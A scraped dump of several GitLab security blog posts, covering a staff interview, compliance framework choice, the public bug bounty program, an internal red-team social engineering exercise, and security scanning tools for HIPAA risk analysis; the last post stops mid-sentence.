team.","https://about.gitlab.com/blog/ask-gitlab-security-paul-harrison","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Ask GitLab Security: Paul Harrison\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Heather Simpson\"}],\n        \"datePublished\": \"2019-05-31\",\n      }",{"title":5038,"description":5039,"authors":5043,"heroImage":4984,"date":5044,"body":5045,"category":14,"tags":5046},[3178],"2019-05-31","\nWhat’s it like working to secure one of the most transparent organizations in the world?  To be a security practitioner in a highly iterative and agile environment? What does that look like and what kind of people thrive in that environment? It takes a certain individual ... curious, analytical, collaborative and dedicated. Of course, there’s more than meets the eye when it comes to our GitLab Security team; they also tackle the hard topics like the age-old 'Is a hotdog a sandwich?' debate, Vim vs Emacs, and Linux distros.\n{: .note}\n\nWe take securing the GitLab product and service and protecting our company very seriously. But, we try not to take ourselves too seriously. We hope you learn something new in this series, but that you enjoy yourself too.\n{: .note}\n\n\n![Paul Harrison Headshot](https://about.gitlab.com/images/blogimages/paul-harrison-headshot.png){: .small.right.wrap-text} **Name:** Paul Harrison\n\n**Title:** Senior Security Engineer / Interim Security Manager, Security Operations\n\n**How long have you been at GitLab?** I started in January 2019\n\n**GitLab handle:** [@pharrison](https://gitlab.com/pharrison)\n{: #tanuki-orange}\n\n**Connect with Paul:** [LinkedIn](https://www.linkedin.com/in/pharrison33) / [Twitter](https://twitter.com/iyampaul)\n\n\n#### Tell us what you do here at GitLab:\nI’m responsible for defining and implementing the operational security response processes and procedures to handle new and emerging risks to GitLab the company, the product, and GitLab.com. I’m also involved in day-to-day security event handling and engaging with partner teams around GitLab on any related questions or issues.\n\n#### What’s the most challenging or rewarding aspect of your role?\nThe most challenging AND rewarding aspect is helping to design our security posture and working to meet those goals one step at a time. This is incredibly unique and challenging as we’re 100 percent remote, the topography of the company and its environments is constantly iterating, and we want to ensure we hold true to our [values](https://handbook.gitlab.com/handbook/values/) by being as transparent and open as possible.\n\n#### And, what are the top 2-3 initiatives you’re currently focused on?\n- Operational Security Architecture: Designing the end-to-end flow of how security risks, events, and incidents are handled across GitLab. (Handbook MR coming soon!)\n- [Log Aggregation Working Group](/company/team/structure/working-groups/log-aggregation/): Analyzing, documenting, and working with Infrastructure and Development teams to improve the quality and efficiency of logs being produced by GitLab-CE/EE and GitLab.com.\n\n#### How did you get into security?\nDialing into local [BBS](https://en.wikipedia.org/wiki/Bulletin_board_system)s in the early '90s, IRC in the mid-90s, and being introduced to reading material like Phrack, 2600, and other amusing bits at an early and malleable age. Combined with a general interest in discovering how things work, breaking them in the process, and the kind of interesting things you can find!\n\n#### In the past decade, how has your area of expertise changed?\n10 years ago I was almost entirely focused on the security and compliance tools necessary to keep a solid grasp on enterprise email (well ... as best as you can!). From there, I broadened my horizons by taking on security management and architecture of local and remotely hosted environments, then compliance for interesting and terrifying acronyms like GDPR. This has resulted in a decent breadth of knowledge in many areas … and enough to be dangerous in others.\n\n#### What is the most significant piece of security advice you could provide to a colleague or friend?\nPlease, please, please, please use a password manager like 1Password, or LastPass, or Bitwarden (examples, not endorsements, YMMV and pick what fits your workflow best!) and start using it to generate and save unique and difficult passwords for each of your sites or services. You won’t need to remember them and so you don’t need to use a memorable one. Then, while you’re at it, turn on two-factor authentication (2FA), and not that SMS/text message-based one. Use an app like Google Authenticator or Microsoft Authenticator, which will give you the six-digit number (aka Time-Based, One-Time Password) on your mobile device, or better. Having strong, unique passwords and 2FA enabled will significantly decrease the chance of your accounts being compromised.\n\n#### GitLab is very unique in that we strive to be incredibly transparent...about everything. What sort of challenges does that present to you as a security professional? What opportunities?\n**_First, the opportunities:_**\n\nStriving, and for the vast majority of situations, succeeding, at being transparent is a hugely rewarding and helpful experience for both GitLab and the community. At first I was sceptical and from working with very tight-lipped organizations with their well-massaged disclosure communications, my mindset has been to not “air our dirty laundry.” **But, being able to be transparent about vulnerabilities and issues means:**\n- The community can see how we became aware of, handled, and resolved the situation, then subsequently learned from it so we won’t repeat the issue.  This information might help them in their own environment, or their own processes, and, we hope, might also increase their trust in our product!\n- We can give credit to all the awesome, hard-working, and talented people at GitLab who come up with clever and creative solutions to protect our customers and their data. When the issues are public, anyone can see who worked it, came up with the obscure and amazing solution, and deployed it. In most companies this information is part of their secret sauce, but this is something we can, should, and do celebrate.\n\n**_Now, the challenges:_**\n- The need to keep vulnerability details close so our customers have the opportunity to update before it’s being exploited in the wild.\n- Old habits die hard, particularly in the Security community. When the default state in most companies is to lock away and carefully communicate a well-crafted and rehearsed statement, transparency is something to get used to and can be uncomfortable for many people who’ve been in the industry for a while.\n- Determining, and sticking with, the few rare scenarios where, due to the sensitive nature, it is necessary to keep certain data confidential.  Scope creep can be hard.\n\n#### What are your thoughts on cybersecurity bachelor’s degrees as a way to scale training of security professionals?\nWith the premise of a bachelor’s degree being more focused on providing the deep, foundational knowledge and enabling people to continue to learn after completing the degree, a Security-focused bachelor’s program could be valuable. However, the continued learning aspect is absolutely a necessity in this space as, despite [OWASP Top 10](https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project) (for example) having largely remained unchanged, the rest of the security landscape has shifted tremendously in the last decade. Without having the willingness to grow and the tools at your disposal to understand how to grow, you would have a difficult time.\n\n## Now, for the questions you *really* want to have answered:\n\n#### Favorite Linux distro?\nDebian, specifically Debian Stable. It just works. Fast and reliable for server use and great for a desktop/workstation. I’ve been using Debian since version 5 or 6 and it is always my first choice when setting up a new system.\n\n#### You get one superpower, what is it?\nI’d like to be able to look at any one plant and make it to grow at any speed and to any size I wish. I could make one beanstalk be 100 feet tall and 3 feet wide, or a fully formed spruce tree but scaled down to a foot, all in a matter of seconds!\n\n#### Now, it’s time for the age-old debate: Is a hotdog a sandwich? And, on that note, is a taco a sandwich?\nNeither a hotdog nor a taco are sandwiches! A sandwich is formed by bringing together two distinct pieces of something to hold an object or several objects between them, sandwiched between them one could say! A hotdog or taco are different from a sandwich because in both circumstances the hotdog itself (aka meat-tube) or the taco fillings are inserted into a crevice formed from a single continuous piece of something, which is no longer sandwiching anything but instead is actually formed to enable the holding of the hotdog or taco-fillings.\n\n#### Have a question to ask the GitLab Security team? Leave a comment below!\n",[4310,675,14,14],{"slug":5048,"featured":6,"template":677},"ask-gitlab-security-paul-harrison","content:en-us:blog:ask-gitlab-security-paul-harrison.yml","Ask Gitlab Security Paul Harrison","en-us/blog/ask-gitlab-security-paul-harrison.yml","en-us/blog/ask-gitlab-security-paul-harrison",{"_path":5054,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":5055,"content":5061,"config":5066,"_id":5068,"_type":16,"title":5069,"_source":17,"_file":5070,"_stem":5071,"_extension":20},"/en-us/blog/choosing-a-compliance-framework",{"title":5056,"description":5057,"ogTitle":5056,"ogDescription":5057,"noIndex":6,"ogImage":5058,"ogUrl":5059,"ogSiteName":767,"ogType":768,"canonicalUrls":5059,"schema":5060},"How GitLab went about choosing the right compliance framework","Independent vs aggregate? Determining the most effective security controls approach for any organization has many considerations.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749680591/Blog/Hero%20Images/compliance-frameworks.jpg","https://about.gitlab.com/blog/choosing-a-compliance-framework","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How GitLab went about choosing the right compliance framework\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Jeff Burrows\"}],\n        \"datePublished\": \"2019-05-07\",\n      }",{"title":5056,"description":5057,"authors":5062,"heroImage":5058,"date":5063,"body":5064,"category":14,"tags":5065},[4969],"2019-05-07","\n\nIn most cases, information security compliance is a notoriously difficult area for smaller companies to get started with. Generally, when a company is large enough to have compliance needs, that company has already established a lot of its operating processes and configured the infrastructure.\n\nIn GitLab's case, we started our formalized compliance program towards the end of our [Series C funding round](/blog/gitlab-raises-20-million-to-complete-devops/), which is actually earlier than a lot of companies our size. This timing afforded GitLab a terrific opportunity to build out our compliance program. We were able to take a step back and consider the most efficient use of our personnel without an immediate need for external compliance certifications.\n\n## Defining security controls: Independent or aggregate?\n\nWhen it was time to identify security controls that would match up with processes and structure, we were faced with the decision a lot of small companies encounter: Do we treat each information security framework we have an interest in – or need for – independently, or do we try and aggregate these controls in a way that gives us natural alignment to underlying frameworks?\n\nBy interacting with industry frameworks (e.g. [ISO](https://www.iso.org/home.html), [SOC](https://www.aicpa.org/interestareas/frc/assuranceadvisoryservices/sorhome.html), [PCI](https://www.pcisecuritystandards.org/), etc.) individually we would have clarity with each individual control in terms of scope and applicability. But we would have been reaching out to our internal teams with hundreds of individual controls, many of which overlap. An example of this overlap is that PCI DSS V3.2.1, SOC2 Common Controls, and ISO 27001 all require business continuity plans. With an individualized approach to security frameworks, we would be treating each business continuity plan separately and would run the risk of making multiple requests to GitLab teams in order to satisfy all requirements.\n\nBy adopting an “umbrella framework” approach and leveraging an open source option (i.e. [Adobe’s CCF](https://blogs.adobe.com/security/2017/05/open-source-ccf.html)), we’ve been able to build in efficiency and ensure that when we interact with our internal teams, we are not requesting the same information in multiple formats. In the above PCI DSS V3.2.1, SOC2 Common Controls, and ISO 27001 example, choosing an umbrella framework means evaluating all the individual requirements collectively and creating a control statement that fulfills the needs of each of the controls simultaneously. This creates an overarching security control that allows us to make a single request for business continuity information to each GitLab team and eliminates having to collect slightly different information depending on the framework we are working with at any given time. By being thoughtful about what is asked for, the compliance group gains internal credibility. The more agile and efficient we can enable our teams to be, the more productive GitLab becomes.\n\n## The GitLab approach\n\nWe’ve already begun adapting Adobe's framework to satisfy our own needs. This unified framework approach has allowed us to quickly create security controls and start building out the supporting guidance and policy information. And we’ve been able to stand up a comprehensive compliance program – in months, not years.\n\nAs we spend more time customizing the Adobe CCF open source framework and aligning the compliance process to the GitLab product workflow, we plan to share what we’ve created and what we’ve learned along the way through a series of blog posts. We’ll also make some of these resources available to our customers in the hopes that it can help other organizations jump start their own compliance journeys.\n\nDo you have thoughts on the approach GitLab is taking with our compliance framework adoption?  Or maybe you have feedback on particular compliance needs you’d like to see GitLab address going forward? Share your thoughts with us below; we’d love to hear from you!\n\nCover image by [Erik Witsoe](https://unsplash.com/@ewitsoe) on [Unsplash](https://unsplash.com/photos/mODxn7mOzms)\n{: .note}\n",[715,675,14],{"slug":5067,"featured":6,"template":677},"choosing-a-compliance-framework","content:en-us:blog:choosing-a-compliance-framework.yml","Choosing A Compliance Framework","en-us/blog/choosing-a-compliance-framework.yml","en-us/blog/choosing-a-compliance-framework",{"_path":5073,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":5074,"content":5079,"config":5085,"_id":5087,"_type":16,"title":5088,"_source":17,"_file":5089,"_stem":5090,"_extension":20},"/en-us/blog/inside-the-gitlab-public-bug-bounty-program",{"title":5075,"description":5076,"ogTitle":5075,"ogDescription":5076,"noIndex":6,"ogImage":2994,"ogUrl":5077,"ogSiteName":767,"ogType":768,"canonicalUrls":5077,"schema":5078},"Inside the GitLab public bug bounty program","Four months since going public with our bug bounty program, we dive into where we’re at, what success looks like, and what to expect down the road.","https://about.gitlab.com/blog/inside-the-gitlab-public-bug-bounty-program","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Inside the GitLab public bug bounty program\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Kathy Wang\"}],\n        \"datePublished\": \"2019-04-29\",\n      }",{"title":5075,"description":5076,"authors":5080,"heroImage":2994,"date":5082,"body":5083,"category":14,"tags":5084},[5081],"Kathy Wang","2019-04-29","\nAt GitLab, our Security Team has two top-level missions that all of our goals must map to:\n\n1. Secure the product and service.\n2. Protect the company.\n\nWe understand that source code is often the crown jewel of any organization. This is true of the [open core](/blog/gitlab-is-open-core-github-is-closed-source/) code that powers GitLab itself, so we are constantly applying our value of [results](https://handbook.gitlab.com/handbook/values/#results) and [iteration](https://handbook.gitlab.com/handbook/values/#iteration) to the benefit of all GitLab users.\n\nThere are a few basic truths about security:\n\n- Security is about people, process, and technology. Understanding how to optimally balance those pillars is crucial to an effective strategy and strong security posture.\n- Security cannot block business process and the ability to get work done.\n- Security is never 100 percent, and a multi-layer approach must be taken to reduce risk.\n\n## Proactive and reactive security measures\n\nIt makes sense to think about security in terms of proactive and reactive measures, as both are required to truly implement defense-in-depth security. When it comes to [application security](/topics/devsecops/), proactive measures include conducting internal application security reviews and educating developers on secure coding best practices. However, the ratio of developers to application security engineers is high, so the feasibility for organizations to review every single line of code manually is decreasing. Code scanning measures introduce automation in reviewing, but could also miss findings.\n\nEnter reactive measures, such as internal red teams and public bug bounty programs. These come in after the fact – after the source code is written and committed – and provide another, necessary layer of security to our environment.\n\nSince launching GitLab’s [public bug bounty program](/blog/gitlab-hackerone-bug-bounty-program-is-public-today/) in December 2018, we’ve resolved 95 security findings, awarded more than $300,000 in bounties and rewarded over 35 hackers for those findings. The overarching goal of our bug bounty program is to make our products and services more secure, and we’re proud of the early success we’ve seen to date.\n\n## How are we measuring success?\n\nWe’re looking at several key metrics and focus areas to determine what’s working and what needs to improve. In fact, our next blog post will dive into some of our early lessons learned, and the process and program improvements we’ve made to ensure we’re meeting our goal.\n\n### Quantity of new report submissions\n\nWe look at the total number of reports received and the average of new reports created each month to help us ensure we’re moving in the right direction in terms of incentivization and engagement amongst our HackerOne reporters. In just the first three months after making our bug bounty program public, we received 266 new reports. That’s an average of 88.6 reports per month. Of those reported, 76 were triaged as valid and 89 were resolved. We classify triaged reports as those for which we’ve assessed a potential user impact, and resolved reports are those we’ve investigated and resolved.\n\n### Repeat reporters\n\nWhen we have reporters who continue to submit findings to our program, that’s another signal that we are on the right track in terms of incentivizing and supporting their efforts so that they keep coming back. Out of a total of 247 reporters from the past year, 38 percent have submitted more than one, 13 percent more than five, and 6 percent more than 10 reports.\n\n#### Check out the top five GitLab reporters (by bounty):\n\n1. [ngalog](https://hackerone.com/ngalog)\n1. [ jobert](https://hackerone.com/jobert)\n1. nyangawa\n1. [fransrosen](https://hackerone.com/fransrosen)\n1. [xanbanx](https://hackerone.com/xanbanx)\n\n### Transparency\n\nThe majority of reporters want to make their vulnerability reports public to showcase their findings and techniques and, also, just for some good ol’ fashioned bragging rights within the hacker community. There’s also a real need in this community to be constantly challenged and a dedication to learning that public disclosure helps to satisfy. Many other bug bounty programs don’t publicly release the full details of their vulnerability reports and subsequently discourage the HackerOne community from sharing or showing off their findings. However, as one of GitLab's values is [transparency](https://handbook.gitlab.com/handbook/values/#transparency), we set all vulnerability details to public in our [issue tracker](https://gitlab.com/groups/gitlab-org/-/issues?scope=all&utf8=%E2%9C%93&state=closed&label_name[]=security&label_name[]=HackerOne) 30 days after a patch has been [released](/releases/categories/releases/).\n\n### Responsiveness\n\nThe HackerOne community expects responsiveness in the communication of updates and payment of bounties. To help ensure we respond and triage as quickly as possible, we’ve built in automation so that we can provide timely initial and ongoing feedback to reporters, as well as continuous updates on the ETA of fixes for existing reports. We’re working in the area of bounties payment to improve our process and reward bounties immediately after triage, where applicable, rather than when fixed. Expect to hear more on this in forthcoming bug bounty blog posts!\n\n### Competitive rewards\n\nOur desire is to be the number one paying bounty company in our industry. This aim is to keep reporters incentivized, motivated, and engaged to find bugs on our platform. Our public bug bounty program is as important to the security of our product and company as any other program we run within our Security Team here at GitLab. That's why we’re continually looking to improve our processes and incentive structure to benefit our reporter community.\n\n{::options parse_block_html=\"true\" /}\n\n\u003Ci class=\"fab fa-gitlab\" style=\"color:rgb(107,79,187); font-size:.85em\" aria-hidden=\"true\">\u003C/i>  \nWe know a big, fat check speaks volumes, but we also know some cool swag is a nice little pat on the back too. So, we’re putting it out there – if you could put a GitLab Tanuki on any piece of swag – what would it be?  Leave us a comment below!\n  \u003Ci class=\"fab fa-gitlab\" style=\"color:rgb(107,79,187); font-size:.85em\" aria-hidden=\"true\">\u003C/i>\n{: .alert .alert-webcast}\n",[267,14,958,899],{"slug":5086,"featured":6,"template":677},"inside-the-gitlab-public-bug-bounty-program","content:en-us:blog:inside-the-gitlab-public-bug-bounty-program.yml","Inside The Gitlab Public Bug Bounty Program","en-us/blog/inside-the-gitlab-public-bug-bounty-program.yml","en-us/blog/inside-the-gitlab-public-bug-bounty-program",{"_path":5092,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":5093,"content":5098,"config":5104,"_id":5106,"_type":16,"title":5107,"_source":17,"_file":5108,"_stem":5109,"_extension":20},"/en-us/blog/agile-iteration-unique-onboarding-experience",{"title":5094,"description":5095,"ogTitle":5094,"ogDescription":5095,"noIndex":6,"ogImage":1381,"ogUrl":5096,"ogSiteName":767,"ogType":768,"canonicalUrls":5096,"schema":5097},"Agile iteration: My unique onboarding experience at GitLab","How I learned to iterate quickly during my first week at GitLab.","https://about.gitlab.com/blog/agile-iteration-unique-onboarding-experience","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Agile iteration: My unique onboarding experience at GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Michael Fahey\"}],\n        \"datePublished\": \"2019-04-26\",\n      }",{"title":5094,"description":5095,"authors":5099,"heroImage":1381,"date":5101,"body":5102,"category":14,"tags":5103},[5100],"Michael Fahey","2019-04-26","\n\nMy name is Michael Fahey. I have been working in the security and IT industries for over 15 years. Recently, I joined GitLab’s Security Team as the manager of the [Red Team](/handbook/security/#red-team). The GitLab Red Team is responsible for assessing the overall security posture of GitLab as a company as well as testing the security and defensive capabilities of our products and services.\n\nWe demonstrate that by telling the stories of our exploits, to help provide context and flavor to the risks we identify. We are white-hat hackers emulating adversaries, and bad guys, so we can rapidly iterate on our security practices resulting in a stronger security posture and better security products.\n\nThe Red Team is a new team. Initially, when I talked to my manager, I was expecting to plan and conduct Red Team exercises after I onboarded. An opportunity presented itself for me to join the [CEO Shadow Program](/handbook/ceo/shadow/), so instead, in my second week, I was in San Francisco working with the CEO of GitLab, [Sid Sijbrandij](/company/team/#sytses)! One thing to know about Sid is that he is passionate about security, so while I was a part of the CEO Shadow Program, he recommended we perform a social engineering exercise against GitLab. I was starting to understand how serious GitLab is about our values, and I wanted to get the firsthand experience with one of our values, [iteration](https://handbook.gitlab.com/handbook/values/#iteration).\n\nThe tempo at which everything was going was not something I was used to. When faced with a new situation like this, I try to emphasize care by slowly gathering information on the target, then building a believable story to persuade the target to perform what I want them to. Social engineering exercises are more about building trust and sympathy than anything else. Sid, however, insisted that I just execute and iterate on the exercise, despite my reservations. Sid was trying to teach me something important which I did not yet grasp.\n\n## What are our Red Team exercise goals?\n\nThe goal of the exercise was to observe how a new employee would react to the demands of the CEO. From the perspective of an adversary, the goal was to compromise GitLab.com by impersonating the CEO, and then demand that an employee with privileged access install an authorization key, controlled by the Red Team, to production servers.\n\nThe expected value of this basic exercise was to identify areas of improvement and level set on our current security stance. It's a starting point to allow us to iterate and build upon. Ideally, we hoped our chosen target would report the incident to the Security Operations Team. At that point, the event would be triaged, and the account deactivated quickly to mitigate any further impact.\n\n### Here is how we scoped this basic exercise:\n\n- Limit the activity to Slack.\n- Emulate an immature, aggressive adversary.\n- Target and identify the people who administer our production systems.\n- Assume compromise of the CEO's Slack identity. For the objectives of this exercise, we don't care how Sid's identity got compromised. In fact, the impersonated Slack account was provisioned before this exercise.\n- The Security Operations Team were not aware of the engagement and were not notified prior to this exercise.\n\n### How did the attempted compromise go?\n\nSo, as the adversary, we started out with the pre-provisioned CEO slack account and logged in. Next, we needed to learn more about GitLab and find the weakest link in the chain to exploit. Luckily, GitLab makes all the information we need publicly available\nwithin the [handbook](/handbook/) and [team](/company/team/) pages.\n\n### Here is what we learned:\n\n- The Infrastructure Team administers all of GitLab’s production systems.\n- The Infrastructure Team remotely accesses, controls and manages GitLab.com.\n- I identified a new GitLab team-member who had just joined the Infrastructure Team. His Slack profile really stood out for us:\n\n![New GitLab team-member Slack profile](https://about.gitlab.com/images/blogimages/red-team-exercise/slack-profile.png){: .shadow.medium.center}\n\nWe found the status of “Onboarding – be gentle” too good not to take up. So, we sent out an urgent request impersonating the CEO of GitLab. “Sid” had an urgent request to add his SSH key to the production systems and Target0 was the only one that could help. Check out what the Red Team sent him below.\n\n![Message from \"Sid\"](https://about.gitlab.com/images/blogimages/red-team-exercise/sid-message.png){: .shadow.medium.center}\n\nFor context alone, there is one crucial fact to understand. An Advanced Persistent Threat (APT) would not burn such a high-value asset as Sid’s Slack profile on something so aggressive. It has too high of a chance for failure. That isn’t to say this doesn’t happen. It is generally a more immature adversary who just wants to do a smash and grab of whatever they can get.\n\nWith the message sent, Target0 never responded. We didn’t have any insight as to what was happening, and we didn’t want to push too hard, so we took a different tactic. We contacted his manager, Target1 to see if we could pressure Target0 through another trusted means.\n\n![Message from \"Sid\" to manager](https://about.gitlab.com/images/blogimages/red-team-exercise/sid-message-manager.png){: .shadow.medium.center}\n\nLooks like we are onto something here! Target1 is going to look into it for us, but we hear nothing back. At this point in the exercise, we were still not sure what was happening in the background and waited over an hour. Our access was still intact, so we weren’t sure if we were caught or they were working on implementing the request.\n\n## What actually happened?\n\nTurns out Target0 challenged the request and reached out for help from our Security Operations team. We failed to compromise GitLab.com, but there could be more to learn in how Security Operations responded to the event. One can see that Target0 created the following ticket below. At that point, our Security Operations team was on it!\n\n![Ticket to SecOps](https://about.gitlab.com/images/blogimages/red-team-exercise/sec-ops-ticket.png){: .shadow.medium.center}\n\nThe Security Operations Team immediately triaged the issue. They got in touch with Sid’s executive assistant. She asked the Security Operations team to hold off on any action then went unresponsive for a half hour, because she knew about this exercise, and was advised to take the actions that she took. This stalled the response process. During that time, the Red Team still had control over Sid’s Slack account, which had not been deactivated.\n\n## What were the results of the exercise?\n\nFrom a Red Team perspective, we _wanted_ to fail in our exercises, but fail or succeed, it is critical that everyone involved learns from the experience.\n\n### Here are some key observations:\n\n- Target0 and Target1's instincts and decisions were validated. They did the right thing to challenge and report the request from “Sid.” They are now more empowered to challenge dubious claims in the future. Heroes of the story!\n\n- The Security Operations Team quickly responded to and triaged the incident. However, through a combination of the following, a final response was delayed:\n    - Sid’s executive assistant requested to delay action until she heard back from Sid.\n    - There was a lack of evidence indicating unauthorized access (via investigation of Slack’s audit logs).\n    - Positive confirmation from the executive assistant that Sid was in an interview (thus no physical breach). A Security Operations team member later jested:\n\n![SecOps team member joke](https://about.gitlab.com/images/blogimages/red-team-exercise/slack-comment.png){: .shadow.medium.center}\n\n- Communication is critical when running Red Team exercises, and a failure in communication can lead to failures in efficiency. For example:\n    - When the Red Team exercise is starting, send a notification to leadership that the activity is beginning, so that leaders can better respond to the natural panic of these engagements.\n    - Perform a Zoom review meeting with the Sr. Director of Security, VP of Engineering, and the CEO to make sure everyone is on the same page.\n\n## How did this social experiment play out?\n\nGitLab is a growing startup with lots of new employees onboarding and an evolving security organization. GitLab demonstrated their ability to be agile and security-aware, but we’ve now started a conversation on why people shouldn’t blindly follow orders due to the person's position and authority, like the CEO. That is precisely why controls like Separation of Duties [(NIST 800-53 Security Control: CA-5)](https://nvd.nist.gov/800-53/Rev4/control/AC-5) and the incident response process are so critical.\n\nThis exercise allowed both the Red Team and Security Operations Team the opportunity to learn and grow together. Red Team is the robbers and Security Operations the cops, but what can happen if the robbers and cops start working together? If one of my favorite shows, \"White Collar,\" is any indicator, we can achieve far more together than we could alone.\n\n## What did I learn from all of this?\n\nFrom my perspective, I expected Target0 and Target1 to report the issue and Security Operations to respond to the incident. The Red Team’s goal should be about empowering people to champion cybersecurity challenges and solutions. We may do that through adversarial means to highlight problems, but it should always be for the benefit of the employees, customer, and company. I feel like some of us in the industry forget that from time to time.\n\nOutside of the exercise, I learned the importance of [iteration](https://handbook.gitlab.com/handbook/values/#iteration)\nand a strategic concept GitLab employs called [Breadth over Depth](/company/strategy/#breadth-over-depth).\nThe idea is to iterate as fast as possible to learn and grow as fast as possible. Quickly learn and grow as opposed to planning something over days and weeks.\n\nIf you quickly iterate then fail or succeed, you can learn far more than if you carefully planned\nevery step then execute on that plan. There is no guarantee that any plan or\nidea will succeed, no matter how much planning and thought you put into it. There is truth in\nthe saying, “No plan survives first contact with the enemy.”\n\nWe can’t wait for that perfect moment or take the time to develop the perfect plan because we will become stagnant and learn little otherwise. What should you do then? Rapidly iterate. Over time, you will grow far faster, be more capable, and have greater insight into your solution.\n",[675,14],{"slug":5105,"featured":6,"template":677},"agile-iteration-unique-onboarding-experience","content:en-us:blog:agile-iteration-unique-onboarding-experience.yml","Agile Iteration Unique Onboarding Experience","en-us/blog/agile-iteration-unique-onboarding-experience.yml","en-us/blog/agile-iteration-unique-onboarding-experience",{"_path":5111,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":5112,"content":5118,"config":5123,"_id":5125,"_type":16,"title":5126,"_source":17,"_file":5127,"_stem":5128,"_extension":20},"/en-us/blog/gitlab-security-tools-and-the-hipaa-risk-analysis",{"title":5113,"description":5114,"ogTitle":5113,"ogDescription":5114,"noIndex":6,"ogImage":5115,"ogUrl":5116,"ogSiteName":767,"ogType":768,"canonicalUrls":5116,"schema":5117},"GitLab's security tools and the HIPAA risk analysis","A closer look at GitLab’s security scanning tools and the HIPAA risk analysis.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749680548/Blog/Hero%20Images/gitlab-security-and-hipaa-risk-analysis.jpg","https://about.gitlab.com/blog/gitlab-security-tools-and-the-hipaa-risk-analysis","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab's security tools and the HIPAA risk analysis\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Luka Trbojevic\"}],\n        \"datePublished\": \"2019-04-10\",\n      }",{"title":5113,"description":5114,"authors":5119,"heroImage":5115,"date":5120,"body":5121,"category":14,"tags":5122},[4910],"2019-04-10","\n\nThe importance of the HIPAA risk analysis (45 CFR § 164.308(a)(1)(ii)(A)) can’t be overstated.\nThe Office for Civil Rights (OCR) announced 2018 was an [all-time record year for HIPAA enforcement](https://www.hhs.gov/hipaa/for-professionals/compliance-enforcement/agreements/2018enforcement/index.html),\nand an incomplete risk analysis or inadequate follow-up on findings were cited in three of the major breaches.\n\nDigitization of healthcare is moving faster than ever. From patient portals to patient-reported\noutcomes platform, there’s an application for just about everything. But as we adjust our pace\nof building and innovating in this digital healthcare era, we must quickly recalibrate our pace\nof identifying risks and vulnerabilities in our software.\n\nYou may already know, GitLab is a single tool for the entire DevOps lifecycle, from project planning\nto deployment. But it’s also a powerful security tool that can add automated vulnerability scanning\nto your development process.\n\nLet’s take a closer look.\n\n## Using Static Application Security Testing to identify vulnerabilities in source code\n\nUsing [Static Application Security Testing](https://docs.gitlab.com/ee/user/application_security/sast/)\n(SAST), you can identify vulnerabilities in your source code. Setting up SAST is easy – you can\neither include the [SAST CI job](https://docs.gitlab.com/ee/user/application_security/sast/) or use\n[Auto SAST](https://docs.gitlab.com/ee/topics/autodevops/index.html#auto-sast).\nAfter that’s done, and every time the job is run, your source code will be scanned.\nWhen the scan is done, the results are [displayed right on the merge request](https://docs.gitlab.com/ee/user/application_security/sast/#how-it-works).\nAnd when you go to any pipeline with a SAST job, you’ll be shown a [security report](https://docs.gitlab.com/ee/user/application_security/sast/#security-report-under-pipelines) with the findings.\n\n## Using Dynamic Application Security Testing to identify vulnerabilities in web applications\n\nUnlike SAST, which scans source code for vulnerabilities, [Dynamic Application Security Testing](https://docs.gitlab.com/ee/user/application_security/dast/) (DAST) analyzes\nrunning web applications for vulnerabilities. It’s just as simple to set up as SAST – simply add\na DAST CI/CD job to your pipeline. DAST will also [display the findings directly in the merge request](https://docs.gitlab.com/ee/user/application_security/dast/#how-it-works)\nand create a [report artifact](https://docs.gitlab.com/ee/ci/yaml/#artifactsreportsdast).\n\n## Container Scanning\n\nIf you use Docker, you can use [Container Scanning](https://docs.gitlab.com/ee/user/application_security/container_scanning/)\nto scan your Docker images for vulnerabilities. This is again as simple as adding a [Container Scanning CI/CD job](https://docs.gitlab.com/ee/user/application_security/container_scanning/#configuring-with-templates) to your pipeline!\nThe scan will generate a [report artifact](https://docs.gitlab.com/ee/ci/yaml/#artifactsreportscontainer_scanning) you can download and review.\n\n## Secret Detection\n\nThe risk analysis standard requires both risks and vulnerabilities. One common risk is for secrets\n(API keys and passwords, for example) to be inadvertently leaked. To address that problem,\nwe’re working on [Secret Detection](https://gitlab.com/groups/gitlab-org/-/epics/675).\nIt’ll check files and configurations to identify potentially sensitive information, running every\ntime a commit is pushed to a branch.\n\n## Coming soon: Even more tools to assess risks and vulnerabilities\n\nIn the coming year we’ll be adding a number of product categories to our Secure stage to help\nimprove your application’s security and find more vulnerabilities. Here’s what you can look forward to:\n\n### Digging deeper for application vulnerabilities: Interactive Application Security Testing\n\n[Interactive Application Security Testing](https://gitlab.com/groups/gitlab-org/-/epics/344) (IAST)\nassesses an application’s response to an external security scan (like DAST) to identify vulnerabilities\nthat wouldn’t be caught by just the external scan. When this feature is complete, it’ll add yet\nanother layer of vulnerability detection to DAST.\n\n### Fuzzing\n\nAnother way to find application vulnerabilities is to generate random inputs and send them\nto the application. By doing this, you can find unintended behaviors in the application that\nmay result in a vulnerability. While fuzzing is often a niche technique, we’re\n[working on adding basic fuzzing capability straight into GitLab](https://gitlab.com/groups/gitlab-org/-/epics/818)!\n\n## Putting it all together\n\nToday, with GitLab, you can:\n\n* Identify vulnerabilities in your source code using SAST.\n* Identify vulnerabilities in your web application using DAST.\n* Identify vulnerabilities in your Docker containers using Container Scanning.\n* Scan for passwords, API keys, and other sensitive information with Secrets Detection.\n\nIn the near future, with GitLab, you’ll be able to:\n\n* Identify vulnerabilities in your application using IAST.\n* Identify vulnerabilities in your application with fuzzing.\n\n## Closing thoughts\n\nWhether you’re a four-person startup making the next groundbreaking healthcare analytics platform,\nor an academic medical center developing health applications, having security 